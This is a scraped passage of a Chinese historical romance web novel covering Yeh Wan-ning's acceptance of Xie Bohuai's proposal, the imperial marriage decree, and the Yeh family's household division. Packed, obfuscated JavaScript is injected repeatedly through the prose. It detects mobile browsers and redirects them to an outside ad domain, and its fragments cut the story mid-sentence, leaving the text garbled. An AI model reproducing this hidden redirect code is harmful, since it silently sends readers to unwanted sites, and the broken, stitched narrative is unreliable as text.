l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170496|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸一口气,“等我们成婚后,我们可以对门而住,你若是不愿意,我可以买下隔壁的宅院,中间开个门,还是可以各过各的,我绝对不会勉强你什么。我只是想让你在我身边,给我一个机会,护你们母子周全。” 见叶婉宁又要开口,谢泊淮紧接着道,“没有你在京城的三年,我一直作死。既然你回来了,我不会再这样下去。我可以保证,以我的能力,就算新帝登基,也不会让任何人动你一根汗毛。” “皇上不会同意吧?”叶婉宁还记得贵妾的事。 “只要你点头,皇上那里我去说。我若是太冷血理智,皇上反而觉得不好。我需要软肋。”谢泊淮很清楚皇上会怎么想。 虽然皇上和他说,成大事者不能有软肋,但他心里也明白,皇上要他辅助新帝,却又怕他掌控新帝。如果他有软肋,对新帝是件好事。 而且他抗旨,正好让皇上有理由处罚他,对他而言其实是好事。 “你放心,既然要娶你,必定是八抬花轿,明媒正娶。”谢泊淮一脸真诚,“我心悦你已久,给我个机会,让我来照顾你和乐哥儿的后半生。隆玉公主会告知乐哥儿身世,也是这个想法。你可以考虑两天,如果你愿意,我们就在隆玉公主的热孝中成婚。” “不用两天。” 叶婉宁看着谢泊淮,这人的眼睛很黑很黑,“我现在就可以给你答复。” 第148章 我愿意 听到叶婉宁要给答复,谢泊淮一颗心提到了嗓子眼,紧张地看着叶婉宁。 “我知道我现在的处境,也明白再说什么安稳平淡就是矫情了。”叶婉宁仰头看着谢泊淮,红唇扬起淡淡的笑意,“谢大人,谢谢你能给我一个护盾。我知道,光靠我一个人不太容易,所以我答应你,我愿意嫁给你。” 听到叶婉宁说愿意,谢泊淮眼睛瞬间亮了。 他这一生,幼年饱受折磨,少年时拼了命地出人头地,再到成年后的处处艰难,他都没祈求过什么,无非是过一天是一天。 现在听叶婉宁说愿意,谢泊淮有种做梦的感觉。 “我嫁给你,可以为你镇内宅,整后院。我从小被当做是循规蹈矩的主母培养,我能向你保证的,就是往后你的后院不会出现问题,算是我对你的回报。至于往后你有其他想纳的人,也可以与我直说,我都会同意的。我就一件事,还请你配合。”叶婉宁叹了口气,“世人都知道乐哥儿是我与旁人生的,如果让乐哥儿认祖归宗,实在难圆叶家名声。你可以私下与乐哥儿相认,但明面上不可以。” 尽管有过肌肤之亲,面对谢泊淮时,叶婉宁更多的还是客客气气,她像是谈生意,谢泊淮则是一直点头。 “可以,都听你的,我全都听你的。”谢泊淮没有不同意的。 “既然如此,就请谢大人去让皇上赐婚吧。只有皇上赐婚,才能堵住悠悠众口。”叶婉宁和谢泊淮行礼后,去后院叫上云芝。 “叶大姑娘,您与我家大人说完了?”司砚很好奇,又不敢直接问大人。 叶婉宁微微点头,示意云芝可以走了。 等叶婉宁主仆走后,司砚小心翼翼地从后院探出头来,很害怕看到主子发火,那他今天太不走运了。 直到他瞧见谢泊淮在笑,司砚才松口气,忙走出去,“大人,叶大姑娘可是答应了?” “嗯,你去准备吧,我进宫去。”谢泊淮迫不及待进宫请旨。 “好嘞,您尽管放心,我一定办好!”主子等了那么久,总算是等到叶大姑娘同意了,等主子走后,他立马叫上折竹几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170497|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个开始准备。 结果青山那个笨蛋脑袋,“皇上不是说了,觉得叶大姑娘配不上大人吗?皇上能同意吗?” “皇上必然会同意。”司砚瞥了青山一眼,“你就听话做事,别那么多话,不然等大人回来,你会被赶出去。” “大人才不会那么狠心。我只是觉得,主子总算等来心仪的人,太不容易了。就是可惜,叶大姑娘嫁过人,要给人当后爹。”青山这些人,是不知道乐哥儿身世的。 隆玉公主说话时,只有谢泊淮一个人在。谢泊淮也没和其他人说,毕竟这种事,青山是最不适合告知的。 司砚呢,心里有猜想过,知道个七七八八,但是主子没明说,他不会去问。 司砚拍了下青山头,不过他不如青山高大,还要踮着脚,“你啊,都让你别说话了,真是笨死了。快去开库房,咱们大人成婚,必然是样样都要最好,怎么张扬怎么来。”反正也不怕别人嫉妒了,毕竟他们大人太守瞩目。 此时的谢泊淮进了仁政殿,皇上刚吃了药,还有一点精神。 第149章 赐婚 “真想好了?”皇上只看了谢泊淮一眼便合上双眼。 “回皇上微臣已经决定好了。” “就算朕因此不高兴要扯了你镇府司指挥使的职你也甘愿?”皇上问。 谢泊淮没有犹豫直接说了“甘之如饴。” 听到这句话皇上笑出了声“谢泊淮啊谢泊淮朕欣赏你的能力也知道你的性格。以前朕就常常想你能有什么软肋不曾想竟然是在女人上。既然如此朕便同意你的请求。不过镇府司那就别干了总不好让人觉得朕自己打自己的脸总是要给你一些处置。” 皇上要撤了谢泊淮指挥使的职谢泊淮也没说不好反而点头说“多谢陛下成全。” “去吧朕累了你的婚事爱怎么办就怎么办。”皇上累了他这身子骨太差了能撑到今天已经是不容易。要不是有个谢泊淮帮忙撑着他可以少操心不然他早就没了性命。 只是现在皇上知道自己时日无多。 等谢泊淮走后皇上让人依次召见了几个儿子。 如今京城里也就成王、贤王、端王新帝也就是他们三人之一。 等他们出宫门时天已经微微暗成王听说谢泊淮为了娶叶婉宁甘愿被贬斥心中大爽。 “没了镇府司我看他谢泊淮还能有什么本事?”成王说给边上的两位皇兄听。 贤王笑了笑没接这个话。他心思多并不急着发表意见而是去问端王怎么想。 端王前几日感染了风寒还有一些咳嗽“父皇自然有父皇的意思不用我们多加揣测。我猜不出来也不想猜天色不早还是先回府了。” 看着端王离去的背影成王哼了一声“平日里就他最会装真要是没有野心为何不离开京城?” 贤王默认了成王的这个说法快到出结果的时候了这会儿他不能掉以轻心。在他看来父皇对他们三个是差不多的但成王太过浮躁端王又是个看不出本事的他的赢面才是最大。 “一个个都不说话皇兄也成哑巴了?”成王道了句。 “这里是宫门口 而成王看着贤王远去的马车和身边的随从小声道“他以为他不说两句就够小心?呵呵谁还不知道他的那点小心思!” 随从附和地点点头“还是王爷您坦荡荡。” “那 当然。”成王心下爽快,直接回了王府。 刚坐下,裴侧妃就来送吃的。 因为樊楼的事,成王冷了裴侧妃几天,今儿个心情好,想到娇滴滴的裴侧妃,成王又让裴侧妃进来了。 “王爷。”裴侧妃再见到成王,语气娇柔许多。经过这几天的冷落,她知道成王的宠爱对她多重要,“这是妾身亲手炖的鸡汤,想着您忙里忙外辛苦了,妾身担心您的身子。” 鸡汤醇香,上面飘着一层黄亮亮的油花,裴侧妃确实下了心思炖汤,成王看了一眼,还算满意。 裴侧妃要给成王喂,成王喝了两口,就把裴侧妃拉到怀里,“不是我要晾着你,是想你明白,成王府的面子才是最重要的。以后办事不能那么鲁莽,要过过脑子,知道吗?” “知道了,妾身是因为哥哥的缘故,才会一时冲昏了头脑。当时妾身就知道错了,还请王爷给妾身弥补的机会。”裴侧妃来之前特意沐浴了,这会儿坐在成王腿上,是温香入怀,成王嗅了嗅,便按耐不住了。 两人在书桌上翻云覆雨,好一番畅快淋漓后,成王搂着裴侧妃道,“樊楼那天的事,你很快就会看到叶婉宁的报应了。谢泊淮求了父皇的赐婚,但父皇早就说了,要给谢泊淮另选佳妇,可谢泊淮非要娶叶婉宁个寡妇,故而父皇撤了谢泊淮指挥使的职。你想想,谢泊淮之前占着父皇的宠爱,利用镇府司在京城里作威作福,得罪了多少人?” “非常多!”裴侧妃眼里立马有了亮光,“谢泊淮被皇上厌弃,又不是指挥使了,往后报仇的人一定很多。等叶婉宁嫁过去,日子必定不好过!” 这一次,裴侧妃的脑子好用了。 成王满意地点头,“正是这么一回事,咱们等着看就好,京城里想要谢泊淮死的人不要太多,都不需要我们动手。至于叶婉宁,也会有她的报应,到时候你想怎么处置她,还不是由你说了算?” “我要她给我哥哥陪葬!”想到叶婉宁那个狐狸精,裴侧妃恨得牙痒痒。若不是叶婉宁当街勾引,她哥哥还好好地活着。 她对叶婉宁,是恨之入骨。 而与此同时的叶婉宁,已经接到了皇上赐婚的旨意。 叶家人收到旨意时,还是懵懵的,不懂怎么回事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170498|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直到叶婉宁说她自个儿答应了谢泊淮的求亲,叶家兄弟还没反应过来,姜姒同样是女人,更细心一点,问叶婉宁是不是为了叶家才想着嫁给谢泊淮。 “也不全是如此。”叶婉宁让家里人不用担心,“我的经历算得上丰富了,原想着一个人 过一生也可以,不曾想还有人对我如此上心。我也确实有为了叶家的想法,但也为自己思考过的。所以你们不用替我担心,既然我回来了,往后必定是要过好日子的。” 姜姒:“可是……” “二嫂嫂,真不用替我担心。”叶婉宁拉住姜姒的手。 姜姒这才叹了口气,“好吧,这也是你和谢大人的缘分了,既然你是自愿嫁给他,家中必定会给你准备丰厚的嫁妆,让你风风光光地嫁出去。” 林氏也道,“是啊,如今家中情况好了,还有公主殿下留给你的陪嫁,必定不会让你再吃苦受罪。” 他们想到叶婉宁要嫁给谢泊淮,总是没那么安心,想着多准备些钱财,加上谢泊淮对叶婉宁上心,总不会把日子过得太差。 直到次日叶明德去上朝,才知道谢泊淮被撤了指挥使的官位,下朝后沉着脸去了谢泊淮府上,原以为谢府会在为这个事发愁,结果里里外外的人都在笑呵呵地准备婚宴,没一个人在担忧谢泊淮被贬斥的事。 青山第一个瞧见叶明德,欢喜地过来,“叶大人安好,您是来找我家大人的吧,他一早儿就去樊楼请大厨了,您进屋喝会茶,小的这就派人去问问。” 叶明德奇怪,“你家大人都丢了官位,你们怎么还那么高兴?” “官位这东西,丢了还可以再挣。可是大人要成亲,这可是一辈子一次的大事,不着急,我家大人的本事厉害,以后总能官至一品。叶大人不用担心,叶大姑娘跟着我家大人不会吃苦的,肯定能给她挣个诰命回来。来来来,您快进屋,院子里人来人往,别碰到了您。”青山乐呵呵地请叶明德进屋,他是真的没在焦虑,不过是没了指挥使的官位。 就算别人去镇府司当指挥使,那镇府司的人就敢不听主子的? 必然没人敢的。 官位只是个名称,镇府司还是在主子的掌控之中。就算青山脑子不好使,也明白这个道理。 第150章 樊楼 叶明德没那么好的心态,他坐不住,一直看着门口。 青山倒来热茶,因为主子的婚事,主子心情好得很,他的日子也好过了起来。这会儿看叶大人皱眉站着,劝道,“您别站着了,皇上下的旨意,就算我家大人再怎么样,也不可能让皇上收回旨意。您放心坐着,京城里的人都知道,我家大人杀人不眨眼,没人敢在这个节骨眼找事。” “他以前可以随意处事,往后成了家,有了牵绊,哪里还能杀人不眨眼?”叶明德看着青山笨头笨脑,更加担心起来。可是院子里的人都笑呵呵的,想来谢泊淮也是这个样子,他不想待下去,直接走了。 “叶大人,您不坐一会儿吗?”青山送着人出去,“要不我带您去樊楼?” 叶明德说不用,他自己会去。 青山看叶明德就这么走了,倒也没跟着,而是继续忙活起来。 此时的谢泊淮在樊楼顶宴席,打算请樊楼厨子去做席面,刚和掌柜的说好,就碰到了叶明岳。 叶明岳这个做哥哥的,同样操心,把谢泊淮拉到一间屋子里,“现在京城人都说,你为了娶叶家女,连镇府司指挥使都不当了,说我妹妹是红颜祸水,竟然让你这般牵挂。谢泊淮,没了镇府司指挥使的官位,你拿什么护着婉宁?” 起初叶明岳以为谢泊淮有官位在,好歹能撑着,现在没了官位,以后怎么办? 光是想到谢泊淮的那些仇家,叶明岳就焦虑。 谢泊淮则是淡然得多,“皇上只是让人代理指挥使,代理的人还是镇府司原来的人。如果皇上真想把我从镇府司划分出来,就会另外安插人进去。光是这一点,就足够说明我对皇上还有用。我跟着皇上那么多年,我敢做的事,必然是清楚皇上不会因此来怪罪我。” “你能说那么清楚,可别人呢?”叶明岳觉得妹妹够艰难了,“你有没有想过以后?你和谢家决裂,身后除了皇上,再无别的靠山,你觉得你以后能护得住婉宁?” “就算是再大的世家,皇上要抄家灭族,也是一句话的事。如果你进官场,就会明白,有皇上一人足矣。”谢泊淮对着叶明岳多了几分耐心,换做是别人,他早就甩脸走人,“你还有什么疑虑,一次性问了,我都给你解答。” 叶明岳没那么多问题,就是一颗心悬着,总觉得不踏实。 看着谢泊淮坚定的眼神,叶明岳叹了口气,“真不知我们家与你上辈子有什么孽缘?” 谢泊淮抬抬浓眉,没接这话。 这时隔壁突然传来争吵声,叶明岳听出 一个人的声音,压着嗓子道,“好像又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170499|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那个叫赵川的,她来京城后,靠着吵架出了名。这人真是不知死活,和你差不多,不管对方是谁,只要他看不顺眼的事,都要去争论几句。” 说话时,隔壁的赵川把灌酒的两个人推开,只是他喝了一壶酒,这会儿没那么多力气,“我不与你们喝了,都让开!” “别走啊,我们才刚开始喝酒,你急着走什么?赵公子,大家都是进京城赶考的学生,指不定以后会成为同僚,何至于这么不给面子?” “面子?面子有什么用?虚无的官僚主义,我才不在乎面子不面子。我想喝就喝,不想喝就回家。都让开,我要回去了!”赵川想起来,却被人按着肩膀,“你们这是要做什么,难不成想灌醉我?” 其余几个人互相看了下,他们确实是这个心思,这个赵川太讨人厌,学问却很好,得罪了不少人。有人想看赵川参加不了殿试,他们乐意帮这个忙。 几个人不再多说话,而是开始给赵川灌酒。 赵川被呛出了眼泪,两只手却被按着,他这会已经半醉半醒,等他呛得吐出刚吃的饭菜,门被人推开。 其他人听到推门声,不悦地看过去,直到有人喊了句“谢大人”,几个人才愣住停手。 京城里,没人不怕谢泊淮,只是他们不知道,谢泊淮出现在这里做什么? 第151章 分家 带赵川来喝酒的几个人里身份最尊贵的是威远候家的次子赵迪他姑姑是贤王妃身份自然不用说。 这会儿也是赵迪走出来“哟这不是前任指挥使大人么你来这里做什么?” “我来看看是谁在这里吵闹让人喝酒都不安生。”谢泊淮勾着唇他一说话屋里的几个人都不敢看他。 只有赵迪瞪着谢泊淮想到谢泊淮被撤了官位但家中有过交代赵迪心里不太愿意还是憋着气道“不过是同窗之间玩闹打扰到谢大人还真是不好意思了。” 说着赵迪喊人离开。 其他几个人听到这话如释重负一个个跟着赵迪灰溜溜地走了。 只是他们出了樊楼有好事的道“赵公子你怕谢泊淮干嘛?他现在不是指挥使了皇上都厌弃他了。”可惜了今天没能弄死赵川。 赵迪瞥了对方一眼“就你这脑子怎么考中举人的?” 留下一句嘲讽赵迪带着人走了半点面子都不给其他人。 而樊楼里的赵川虽然醉了却还是认出谢泊淮坐在地上看着谢泊淮“他们就是一群怂货欺软怕硬有本事再来与我喝几杯!” 看着地上醉醺醺的赵川叶明岳嫌弃地皱眉他不理解谢泊淮为何要过来帮赵川“走吧犯不着和醉鬼说话。” 谢泊淮“嗯”了一声才出了樊楼。 回到家中谢泊淮叫来司砚让他找人看着赵川正好被进来的青山听到。 青山不理解“这人小的听说过很没眼色的一个人从小地方来却处处得罪人。大人您护着他干嘛?” 司砚明白主子的意思“赵川不怕得罪人但他学问好必定能高中。有这样的人入朝为官便会吸引旁人注意力。赵川虽然讨人厌却有着耿直用来对付那些迂腐的世家最好。” “我明白了大家有了更讨厌的人就会忽略咱们大人我……”话没说完青山看到主子抬头看过来赶忙转移话题说叶明德来过。 “嗯。”谢泊淮见到了叶明岳就料到叶明德也会找来但他不用特意上门解释有叶明岳帮忙传话就行。 他与叶婉宁的婚期定在半个月后时间紧急加上谢泊淮什么都要最好的府里每个人都忙得像陀螺。 叶家那里同样忙碌叶婉宁的嫁妆是早些年就准备好了不过现在叶家情况不一样又添置了许多。还一个 旁的亲戚不说叶老夫人嫁到金陵的小女儿是 一定要送去请帖的。 林氏安排人去金陵,“见到了姑太太,就说老夫人也想她了,让她带着姐儿一块来。” 看着小厮走后,林氏再去找叶婉宁看嫁妆单子。她到的时候,姜姒也在,“二弟妹也在,那一块儿看看,有没有缺了什么,我好补上。” “大嫂办事最是仔细,肯定都是好的。”姜姒笑着道。 这几年,姜姒和林氏相处融洽,不过家里孩子多了,叶家府邸就有些不够住。私下里,姜姒有和叶明岳讨论过分家的事。 如今叶家三姐妹都有了各自的归宿,只剩下最小的叶明才还在读书,就算分了家,叶明岳也会出钱供养弟弟读书,毕竟大哥俸禄并不多。 分家的事,姜姒心里过了过,这会儿的嫁妆单子,她没有看太久,扫了两眼就递给叶婉宁。 叶婉宁同样是看了两眼,“辛苦大嫂替我操劳。” “这有什么辛苦的,以前我和你大哥就盼着送你出嫁,总算是如愿了,我们也能对爹娘有个交代。”林氏进府早,公婆刚过世时,她还年轻,很多事都是叶婉宁在一旁帮扶着,才不至于出差错。现在看着长大成人的叶婉宁,林氏心中感慨颇多,不由湿了眼眶。 看林氏快哭了,叶婉宁赶忙把人拉着坐下,“好嫂嫂,你怎么掉珍珠了?” “我是想到了以前的日子。婉宁啊,你以后遇到什么委屈,一定要回家来说,我与你大哥一定会帮着你的。”林氏轻抚着叶婉宁的手,一旁的姜姒也说是。 这时二房的丫鬟跑来,说二姐儿醒了闹哭,姜姒只能先回去。 等姜姒离开,林氏才叹了口气,为难地看着叶婉宁,“有件事,我没有别的人商量,只好让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“小是小了点,现在也能住得下,过几年孩子再多了,就不好说。实话与你说,我已经在看城中合适的宅院,最好能近一点。”叶明岳手里有不少钱,买处宅子很简单,但他不想越过老宅去,便还在挑选。 听到这话,叶婉宁清楚二哥哥的意思,岔开了话题,随后去找了祖母。 第152章 侄女婿 叶老夫人没有意外,“孩子们大了,确实到了该分家的时候,不然住久了,再好的关系也会受到影响。你大哥哥这些年为了你们兄妹几个,头发都白了好些,就算是分家,也得多顾着他一点。还有你弟弟的家业,他还没成年,得把他的那一份先留着。” “那是肯定的。”叶婉宁道。 叶有才只有十三岁,离娶妻生子还好几年,叶老夫人怕自己活不到那个时候,故而次日把家里人找过来时,提前说个明白。 “婉宁马上要出嫁,趁着她出嫁前,我把你们找来说个事。”叶老夫人看着屋里的孙辈们,想到了早逝的长子,“如今明德和明岳都成家,明岳也不走官途,你们都大了,是时候分家了。明才还小,以后还得读书考取功名,往后继续跟着我,在老宅过活。明白的那份家业,也由我先保管。明德要看顾我们这些老老小小的,他又是长子,除了这处宅院归他,也该多分一些田地。” 叶明岳出来道,“这些年,大哥劳苦功高,对我们几个费心费力。公中的银钱,我就不要了,只需把爹给我姨娘的那处庄子带走就行。” 庄子本就给了叶明岳,他这是什么都不要。 叶明德说不行,他是做大哥的,没理由占弟弟便宜。 “大哥听我说,往后三弟读书,是不是要钱?” 叶明德说是。 “我也是做哥哥的,自然该出一份力,总不能让你来承担全部?以前我没成家立业,辛苦你一点,现在我有了家业,也该替你分担一二。”叶明岳再去看祖母,“而且祖母也要你来供养,三妹也在家中修行,他们也都是我的亲人,我该尽一份责任。” 叶明德:“可是……” “大哥就不要与我谦让了,钱财只是一些小事,咱们兄弟之间和睦,才最重要。而且你为官,一年俸禄都有定数。我从商,银钱对我而言是最不重要的事。”叶明岳态度坚决,“祖母,这个事就这么说定了。这几日我就去挑选宅院,到时候就说是家中为我置办。” 姜姒也出来变态,“是啊大哥大嫂,你们还要操心家中那么多事,本来你们就该多一份。” 夫妇俩一条心,一人说上两句,这个事就这么定了。 叶家说好了,等叶婉宁出嫁后再分家,免得京城里多流言。 不过二房体谅大房不容易,叶明德夫妇也不想二房吃亏,回屋后,林氏就道,“二弟他们只要一处宅子,若是我们就这样答应了,往后心里也不安。不如你准备着一部分田契,到时候和庄子的房契一块儿送过去 。他们能挣钱是他们的事,我们不好就这样占便宜。” 叶明德说可以,让林氏做主安排,“等分家后,你给两个孩子收拾出院子来,特别是大姐儿,她都开始读书了,应该要有自己的宅院。” 说到女儿,林氏脸上多了几分笑意,“是啊,我五岁时,就自己分院另住,大姐儿七岁了,也该有自己的院子。” 大房在说儿女的事,二房则是在挑宅院。得先把宅院定下来,分家后才有地方住,毕竟得修缮。 叶明岳和姜姒挑了离叶家两条街的地方,走路一刻钟就能到,算是很近了。 和房牙子签了契约后,叶明岳便带着人开始修缮宅院,他这里有了动作,旁人不懂为什么,叶显荣夫妇倒是猜到了。 这日叶显荣来宅院里找到叶明岳,他是叶明岳二叔,下人也没拦着,直接把人带了进来。 “真不错啊,这处宅院快有老宅大了,还是你有本事,能置办那么大的宅院。”叶显荣笑呵呵地走到叶明岳边上,“就是你们也太不把我当家人了,要分家这种大事,怎么不和我说?” 叶明岳对叶显荣没好感,淡淡道,“还没定下来的事,只是家中先替我置办起来,免得以后手忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还真是巧啊在这里遇到了你你要去哪?”和谢泊淮说话叶显荣心里还是有些怵不过他马上要成为谢泊淮长辈了谢泊淮总不至于对他甩脸子吧? 谢泊淮说有事。 “不忙的话我请你去喝杯茶如何?”叶显荣在官场那么多年还是个七品小官若是能得谢泊淮提携多少会好点。瘦死的骆驼比马大叶显荣觉得谢泊淮再怎么样让他从七品到六品的本事还是有的他又不是要当二品大官。 自个儿有点本事对儿子也好。 叶显荣把所有的指望都寄托在儿子身上就盼着儿子高中进士好给他争脸。总不能等大房的叶有才都中进士了他儿子还没个功名傍身。 那可太丢人了。 谢泊淮近来是空闲了只是叶婉宁的这个二叔他有所耳闻与大房关系并不亲近“喝茶就不了我还有事要忙。” 听谢泊淮说要走叶显荣张嘴想留人但看到谢泊淮那张冷脸把话又给憋回去。 他还是没那个胆子。 归家后叶显荣和妻子李氏骂咧咧道“以前谢泊淮还是镇府司指挥使那还说攀高枝现在谢泊淮连我都不如有什么好嘚瑟的?” 李氏听完叶显荣说的也是生气“说了不让你去你非要去。他们要是真有心这几年他们好过了早就主动送钱财来还会看你穿这种洗了三年的衣服?” “你少说这种风凉话叶婉宁是我侄女叶明岳是我侄子他们飞黄腾达了我是他们二叔于情于理都要孝敬我!”叶显荣道“再说了我这都是为了明轩光靠他自己死读书有什么用?如果有堂哥出钱堂姐出力以后平步青云还不是小问题?” 叶显荣只想着自己儿子能多厉害却忘了叶明德这个亲哥哥至今才四品叶明德都没位高权重怎么样都轮不到叶明轩。 但叶显荣太想儿子有出息了这一点李氏同样想法。 夫妇俩一起叹气 “还能去干嘛?书院读书呗。”李氏道“马上就是殿试明轩不能参加看着糟心所以去书院了。” “努力点好你我就这么一个儿子全都指望他了。”叶显荣想着叶明岳说会介绍名师怕叶明岳说说而已又让小厮去找叶明岳“和他问清楚到底哪一天别把说话当放屁说完就过去我可不依他。” 此时的叶明岳,忙着宅院的修缮,见叶显荣派人来催,说好一个时间,正好午休,打算回家休息一下。 半路上,他正巧遇到了叶明轩。 只是叶明轩像是见了鬼一样,立马躲开了。 “这小子,连声招呼都不打,呵呵。叶明岳吐槽一句,懒得多管闲事,归家去了。 事实上,是叶明轩心里有鬼,他没去书院,这几日住在同窗家中,眼下要去逛花楼呢。 为了躲开叶明岳,他绕了一大圈路,到花楼时,别的同窗都到了。 为首的赵迪看叶明轩姗姗来迟,调侃道,“你是被哪个姑娘拉去快活,才来得那么迟? “哎,哪里有姑娘,比不得赵兄招人喜欢,不过是路上有些事。不说这些,我来迟了,自罚三杯!叶明轩举起酒杯,爽快得很。 等他喝完酒,便有花楼的姑娘靠了过来,他熟稔地把姑娘搂进怀里,一只手伸进姑娘的衣裳,好一阵捏揉。 他都二十有一了,身边连个相貌普通的丫鬟都没有,爹娘怕他被女色耽误读书,所以安排的都是一些小厮婆子。可玩女人这个事,越是让他憋久了,等开了荤后,就停不下来。 叶明轩已经一个月没去书院,除了喝酒逛花楼,甚至想置个外室,奈何口袋空空。 想到外室,便有人问叶明轩什么时候给翠儿姑娘赎身。 翠儿是叶明轩的相好,这会正歪在叶明轩怀里,娇滴滴地道,“官人不是说最喜欢奴家,怎么拖拖拉拉许久,难道对奴家都是虚情假意? “哪能啊,我恨不得天天和你在一起。叶明轩急切解释。 “那又是为何?翠儿哼了哼,“你那个堂兄的生意很是不错,堂姐又要嫁给京城里最有权势的谢大人。奴家可是听说了,叶家大房为叶大姑娘准备的嫁妆价值连城,随便一件都够官人替奴家赎身呢。同样是叶家人,若说你没钱,奴家可不信。 这话是在试叶明轩的底,为了面子,叶明轩也不能说没钱,只说还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嫁给谢泊淮 叶婉宁还是头一回见郑秋和笑着道“你也长得好。” “可是我的脸太圆了母亲让我少吃点说不能胖了。可我就是脸圆一点其实并不胖。”尽管是第一次见面郑秋和就很自来熟开始和叶婉宁说起自己的苦恼。 林氏安排好宴席进来打断众人的谈话“祖母姑母晚膳已经准备好了大家先去用晚膳吧。” 听到吃晚膳郑秋和立马来了兴趣跑过去问林氏准备了什么京城美食。 叶云珠走在后头轻声叹气“生秋和时我大出血大夫说我以后难有孩子对她便宠爱一些远不如哥哥姐姐沉稳。母亲您说她这样的性子我怎么放心让她远嫁?” 郑家是金陵的大家族但是这些年郑家并没有特别出色的人才。如今的情形京城还没安定郑家老爷子的意思是要想搏出一片天地来就得生出一份胆量来才想着让郑秋和嫁到京城。 郑秋和是个姑娘若是夫家未来发展好郑家能得一助力。发展不行远了就是郑家并不缺姑娘。 叶云珠作为母亲自然不愿舍弃女儿只好亲自过来打算擦亮眼睛给女儿挑选夫婿。 叶老夫人明白女儿的心思只是这会人多不好说私房话“儿孙自有儿孙福你别想那么多缘分来了你挡也挡不住。” “嗯。”叶云珠点了点头没再多说。 叶家确实条件好了许多今儿又是叶云珠母女来探亲更加丰盛。 乐哥儿看到满桌的饭菜早就在咽口水小人儿上了桌也不用春喜伺候自个儿吃了起来。 郑秋和坐在同一桌离乐哥儿又近听乐哥儿说虾饺好吃赶忙夹了一个弹牙且鲜甜确实好吃。看乐哥儿手短她帮着夹了远处的鸡腿“来 “谢谢表姨您也吃这个蘑菇也好吃。”两个人都爱吃倒是合得来。 叶婉宁看看儿子又看看郑秋和没有说什么。小孩子天性就是要活泼点至于规矩算了吧她就是被禁锢着长大懂得天真浪漫多不容易。 一顿饭下来乐哥儿和郑秋和交了朋友郑秋和倒也和小孩玩得来说说笑笑到丫鬟来提醒这才回去梳洗。 叶云珠看着女儿走得欢快脸上都是担忧“食不言你是全部忘记了。叶家没那么多长辈所以没那么多规矩。但你祖父的意思我和你说得很明白。你要想嫁到世家大族就得拿出大家闺秀的样子来。你看看你才到叶家第一天就和几个小孩儿玩了 起来。” “母亲,我本来就不是祖父说的大家闺秀嘛。倒是二叔家的堂姐比我娴静,既然要联姻,让她来不就好了?”郑秋和没攀比的心思,她更想待在金陵,并不想嫁到京城来。 “糊涂,你二叔是庶出,又没个一官半职,哪里能攀附上京城的世家?”叶云珠叹气道,“我也不舍得你,但你长大了,总要嫁人,那就嫁个好点的。秋和啊,母亲知道你不适合当宗妇,好在世家子弟多,嫁个自己有本事的次子便好。” 郑秋和努努嘴,她不说话了。 叶云珠苦口婆心继续道,“你也知道的,家中大事小事,都得听你祖父的。眼下是我带你来京城挑选,你还有得商量。如果我们没挑到好的,等你祖父来挑人时,就没你说不得余地了。” 听到这话,郑秋和委屈得瘪嘴,“凭什么啊,大姐姐和大哥哥都比我优秀许多,干嘛当初不让他们联姻,非要让我个最没本事的来。我就想嫁个寻常人,一日三餐吃点好的,不要有啥烦心事。从小到大,不管是女红,还是读书,我都一般般,我怎么能入得了世家大族的眼?” 